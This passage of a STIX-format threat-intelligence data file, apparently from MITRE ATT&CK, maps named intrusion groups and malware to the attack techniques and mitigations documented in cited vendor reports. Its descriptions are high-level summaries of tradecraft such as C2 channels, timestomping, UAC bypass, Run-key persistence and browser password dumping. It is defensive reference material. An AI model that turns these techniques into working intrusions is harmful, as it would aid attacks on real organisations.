            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2019-12-20T14:26:00.472Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b",
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has deleted files associated with their payload after execution.(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 OopsIE! Feb 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.230Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
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            "source_ref": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445",
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            "type": "relationship",
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            "description": "The [Helminth](https://attack.mitre.org/software/S0170) config file is encrypted with RC4.(Citation: Palo Alto OilRig May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.507Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--1036833a-1d4c-4d9e-b716-1e52606ab684",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed timestomping on victim files.(Citation: Crowdstrike DNC June 2016)",
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            ],
            "external_references": [
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2019-12-20T14:26:00.476Z",
            "created": "2017-05-31T21:33:27.038Z"
        },
        {
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            "description": "[BADCALL](https://attack.mitre.org/software/S0245) uses port 8000 and 443 for C2.(Citation: US-CERT BADCALL)",
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            ],
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                {
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                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
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        },
        {
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            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can switch to a new C2 channel if the current one is broken.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.817Z",
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            "description": "[CozyCar](https://attack.mitre.org/software/S0046)'s main method of communicating with its C2 servers is using HTTP or HTTPS.(Citation: F-Secure CozyDuke)",
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            ],
            "external_references": [
                {
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                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-11-23T17:03:38.524Z",
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            "relationship_type": "uses",
            "target_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
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                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "description": "(Citation: Cylance Dust Storm)",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.751Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c",
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            ],
            "source_ref": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "type": "relationship",
            "modified": "2020-03-30T13:59:11.395Z",
            "created": "2017-05-31T21:33:27.020Z"
        },
        {
            "id": "relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "type": "relationship",
            "modified": "2020-03-19T19:17:58.670Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4ad9aa86-f489-4f0f-926f-f381221c3705",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackOasis](https://attack.mitre.org/groups/G0063)'s first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.(Citation: Securelist BlackOasis Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackOasis Oct 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a"
        },
        {
            "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.814Z",
            "created": "2017-05-31T21:33:27.055Z"
        },
        {
            "id": "relationship--395468bb-f42a-4e60-8f2f-d998c9d85675",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "type": "relationship",
            "modified": "2020-01-31T18:59:22.086Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--40032198-f003-4171-92a0-faf038f62a0b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) collected the victim's username and executed the <code>whoami</code> command on the victim's machine. [APT32](https://attack.mitre.org/groups/G0050) executed shellcode to collect the username on the victim's machine. (Citation: FireEye APT32 April 2020)(Citation: ESET OceanLotus)(Citation: Cybereason Cobalt Kitty 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 April 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html",
                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-06-19T20:04:12.207Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a Windows 10 specific tool and xxmm to bypass UAC for privilege escalation.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-06-24T01:27:31.914Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97",
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            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:22:59.308Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c263ca38-f85d-42ab-b56d-8f6121c3aed6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.(Citation: DOJ GRU Indictment Jul 2018)(Citation: ESET Zebrocy May 2019)(Citation: US District Court Indictment GRU Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2020-10-01T18:55:37.604Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1a7d1db3-9383-4171-8938-382e9b0375c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) injects its DLL component into svchost.exe.(Citation: F-Secure BlackEnergy 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.337Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) uses a customized version of PsExec.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "type": "relationship",
            "modified": "2019-04-24T19:41:25.856Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2ade8c03-2395-4175-9a22-8541836f27cd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) can alter the victim's proxy configuration.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-03-17T00:33:20.601Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d361058d-a11b-470d-bed8-44bfd8e50393",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can transfer collected files to a hardcoded C2 server.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.519Z",
            "created": "2017-05-31T21:33:27.080Z"
        },
        {
            "id": "relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key <code>KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding</code> to establish persistence.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "source_name": "Talos MuddyWater May 2019"
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-03-19T13:38:12.616Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9c1ec4da-96d9-4173-b944-77c341a19572",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing Word documents with embedded malicious macros.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                },
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.564Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1d0bbeb7-5477-4321-81cd-ef66607d7972",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "type": "relationship",
            "modified": "2020-02-11T18:24:04.781Z",
            "created": "2017-05-31T21:33:27.025Z"
        },
        {
            "id": "relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used RDP during operations.(Citation: FireEye PLA)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/05/the-pla-and-the-800am-500pm-work-day-fireeye-confirms-dojs-findings-on-apt1-intrusion-activity.html",
                    "description": "FireEye Labs. (2014, May 20). The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ\u2019s Findings on APT1 Intrusion Activity. Retrieved November 4, 2014.",
                    "source_name": "FireEye PLA"
                }
            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.163Z",
            "created": "2017-05-31T21:33:27.035Z"
        },
        {
            "id": "relationship--3964d326-01f2-4142-8f41-408f576b53b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163",
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "(Citation: FireEye Periscope March 2018)",
            "type": "relationship",
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        },
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            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "description": "(Citation: McAfee Honeybee)",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) encrypted the collected files' path with AES and then encoded them with base64.(Citation: TrendMicro Patchwork Dec 2017)",
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            ],
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                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
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            "type": "relationship",
            "modified": "2020-03-30T02:59:01.829Z",
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            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.(Citation: Kaspersky Carbanak)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
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            ],
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            "type": "relationship",
            "modified": "2019-03-22T19:59:27.004Z",
            "created": "2017-05-31T21:33:27.041Z"
        },
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) delivered [RATANKBA](https://attack.mitre.org/software/S0241) to victims via a compromised legitimate website.(Citation: RATANKBA)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-09-02T18:46:32.513Z",
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        },
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
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            "type": "relationship",
